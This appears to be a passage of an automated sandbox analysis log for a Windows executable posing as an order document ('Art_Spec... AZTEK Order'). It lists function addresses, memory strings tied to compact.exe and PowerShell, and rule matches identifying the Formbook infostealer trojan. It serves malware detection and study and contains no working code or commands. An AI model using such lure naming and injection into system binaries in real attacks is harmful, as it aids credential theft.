Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C2840	5_2_013C2840
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CA840	5_2_013CA840
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013A68B8	5_2_013A68B8
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EE8F0	5_2_013EE8F0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147AB40	5_2_0147AB40
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01476BD7	5_2_01476BD7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BEA80	5_2_013BEA80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CAD00	5_2_013CAD00
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145CD1F	5_2_0145CD1F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D8DBF	5_2_013D8DBF
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BADE0	5_2_013BADE0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0C00	5_2_013C0C00
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B0CF2	5_2_013B0CF2
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460CB5	5_2_01460CB5
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01434F40	5_2_01434F40
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E0F30	5_2_013E0F30
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01402F28	5_2_01402F28
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01462F30	5_2_01462F30
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CCFE0	5_2_013CCFE0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143EFA0	5_2_0143EFA0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B2FC8	5_2_013B2FC8
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147EE26	5_2_0147EE26
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0E59	5_2_013C0E59
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147EEDB	5_2_0147EEDB
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D2E90	5_2_013D2E90
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147CE93	5_2_0147CE93
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0148B16B	5_2_0148B16B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AF172	5_2_013AF172
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F516C	5_2_013F516C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CB1B0	5_2_013CB1B0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0146F0CC	5_2_0146F0CC
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147F0E0	5_2_0147F0E0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014770E9	5_2_014770E9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C70C0	5_2_013C70C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147132D	5_2_0147132D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AD34C	5_2_013AD34C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0140739A	5_2_0140739A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C52A0	5_2_013C52A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014612ED	5_2_014612ED
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DB2C0	5_2_013DB2C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01477571	5_2_01477571
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145D5B0	5_2_0145D5B0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B1460	5_2_013B1460
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147F43F	5_2_0147F43F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147F7B0	5_2_0147F7B0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01405630	5_2_01405630
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014716CC	5_2_014716CC
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01455910	5_2_01455910
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C9950	5_2_013C9950
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DB950	5_2_013DB950
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142D800	5_2_0142D800
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C38E0	5_2_013C38E0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147FB76	5_2_0147FB76
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01435BF0	5_2_01435BF0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DFB80	5_2_013DFB80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013FDBF9	5_2_013FDBF9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01477A46	5_2_01477A46
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147FA49	5_2_0147FA49
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01433A6C	5_2_01433A6C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0146DAC6	5_2_0146DAC6
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01405AA0	5_2_01405AA0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01461AA3	5_2_01461AA3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145DAAC	5_2_0145DAAC
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01471D5A	5_2_01471D5A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01477D73	5_2_01477D73
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C3D40	5_2_013C3D40
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DFDC0	5_2_013DFDC0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01439C32	5_2_01439C32
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147FCF2	5_2_0147FCF2
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147FF09	5_2_0147FF09
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C1F92	5_2_013C1F92
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01383FD2	5_2_01383FD2
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01383FD5	5_2_01383FD5
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147FFB1	5_2_0147FFB1
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C9EB0	5_2_013C9EB0
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Code function: 9_2_04077025	9_2_04077025
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Code function: 9_2_04078DD9	9_2_04078DD9
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Code function: 9_2_04078DE2	9_2_04078DE2
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Code function: 9_2_04096682	9_2_04096682
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Code function: 9_2_0407F732	9_2_0407F732
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Code function: 9_2_0407F730	9_2_0407F730
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Code function: 9_2_04079002	9_2_04079002
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Code function: 9_2_04077082	9_2_04077082
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Code function: 9_2_0407725D	9_2_0407725D
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368A352	10_2_0368A352
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_036903E6	10_2_036903E6
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035DE3F0	10_2_035DE3F0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03670274	10_2_03670274
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_036502C0	10_2_036502C0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03658158	10_2_03658158
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035C0100	10_2_035C0100
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0366A118	10_2_0366A118
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_036881CC	10_2_036881CC
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_036901AA	10_2_036901AA
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03662000	10_2_03662000
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035F4750	10_2_035F4750
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035D0770	10_2_035D0770
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035CC7C0	10_2_035CC7C0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035EC6E0	10_2_035EC6E0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035D0535	10_2_035D0535
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03690591	10_2_03690591
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03682446	10_2_03682446
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03674420	10_2_03674420
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0367E4F6	10_2_0367E4F6
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368AB40	10_2_0368AB40
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03686BD7	10_2_03686BD7
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035CEA80	10_2_035CEA80
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035E6962	10_2_035E6962
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0369A9A6	10_2_0369A9A6
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035D29A0	10_2_035D29A0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035DA840	10_2_035DA840
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035D2840	10_2_035D2840
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035FE8F0	10_2_035FE8F0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035B68B8	10_2_035B68B8
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03644F40	10_2_03644F40
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03612F28	10_2_03612F28
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03672F30	10_2_03672F30
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035F0F30	10_2_035F0F30
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035C2FC8	10_2_035C2FC8
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035DCFE0	10_2_035DCFE0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0364EFA0	10_2_0364EFA0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035D0E59	10_2_035D0E59
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368EE26	10_2_0368EE26
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368EEDB	10_2_0368EEDB
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035E2E90	10_2_035E2E90
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368CE93	10_2_0368CE93
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035DAD00	10_2_035DAD00
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0366CD1F	10_2_0366CD1F
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035CADE0	10_2_035CADE0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035E8DBF	10_2_035E8DBF
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035D0C00	10_2_035D0C00
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035C0CF2	10_2_035C0CF2
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03670CB5	10_2_03670CB5
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035BD34C	10_2_035BD34C
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368132D	10_2_0368132D
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0361739A	10_2_0361739A
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_036712ED	10_2_036712ED
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035EB2C0	10_2_035EB2C0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035D52A0	10_2_035D52A0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0369B16B	10_2_0369B16B
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0360516C	10_2_0360516C
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035BF172	10_2_035BF172
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035DB1B0	10_2_035DB1B0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_036870E9	10_2_036870E9
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368F0E0	10_2_0368F0E0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035D70C0	10_2_035D70C0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0367F0CC	10_2_0367F0CC
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368F7B0	10_2_0368F7B0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_036816CC	10_2_036816CC
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03687571	10_2_03687571
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0366D5B0	10_2_0366D5B0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035C1460	10_2_035C1460
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368F43F	10_2_0368F43F
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368FB76	10_2_0368FB76
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03645BF0	10_2_03645BF0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0360DBF9	10_2_0360DBF9
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035EFB80	10_2_035EFB80
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03643A6C	10_2_03643A6C
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368FA49	10_2_0368FA49
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03687A46	10_2_03687A46
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0367DAC6	10_2_0367DAC6
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03615AA0	10_2_03615AA0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03671AA3	10_2_03671AA3
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0366DAAC	10_2_0366DAAC
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035D9950	10_2_035D9950
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035EB950	10_2_035EB950
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03665910	10_2_03665910
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0363D800	10_2_0363D800
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035D38E0	10_2_035D38E0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368FF09	10_2_0368FF09
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035D1F92	10_2_035D1F92
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368FFB1	10_2_0368FFB1
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035D9EB0	10_2_035D9EB0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03687D73	10_2_03687D73
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035D3D40	10_2_035D3D40
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03681D5A	10_2_03681D5A
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_035EFDC0	10_2_035EFDC0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03649C32	10_2_03649C32
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_0368FCF2	10_2_0368FCF2
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E21C80	10_2_02E21C80
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E3A710	10_2_02E3A710
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E1CE67	10_2_02E1CE67
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E1CE70	10_2_02E1CE70
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E1B2EB	10_2_02E1B2EB
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E1D090	10_2_02E1D090
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E1B110	10_2_02E1B110
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E237C0	10_2_02E237C0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E237BE	10_2_02E237BE
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_034EA275	10_2_034EA275
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_034EB018	10_2_034EB018
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_034EBAF4	10_2_034EBAF4
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_034EBFAD	10_2_034EBFAD
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_034EBD7B	10_2_034EBD7B
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_034EBC15	10_2_034EBC15

Source: C:\Windows\SysWOW64\compact.exe	Code function: String function: 03617E54 appears 102 times
Source: C:\Windows\SysWOW64\compact.exe	Code function: String function: 035BB970 appears 278 times
Source: C:\Windows\SysWOW64\compact.exe	Code function: String function: 0364F290 appears 105 times
Source: C:\Windows\SysWOW64\compact.exe	Code function: String function: 03605130 appears 58 times
Source: C:\Windows\SysWOW64\compact.exe	Code function: String function: 0363EA12 appears 86 times
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: String function: 01407E54 appears 102 times
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: String function: 013F5130 appears 58 times
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: String function: 0142EA12 appears 86 times
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: String function: 0143F290 appears 105 times
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: String function: 013AB970 appears 280 times

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000000.00000002.2118662660.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000000.00000002.2134444569.000000000CF90000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000000.00000002.2132983409.00000000077E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRT.dll. vs Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000000.00000002.2120287530.0000000002791000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRT.dll. vs Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000000.00000002.2133206549.000000000780A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXE.MUIj% vs Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000000.00000002.2133206549.000000000780A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000005.00000002.2507000951.00000000014AD000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000005.00000002.2506815789.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCOMPACT.EXEj% vs Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000005.00000002.2506815789.0000000000E58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCOMPACT.EXEj% vs Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Binary or memory string: OriginalFilenameCAhp.exe> vs Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 5.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2506231029.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
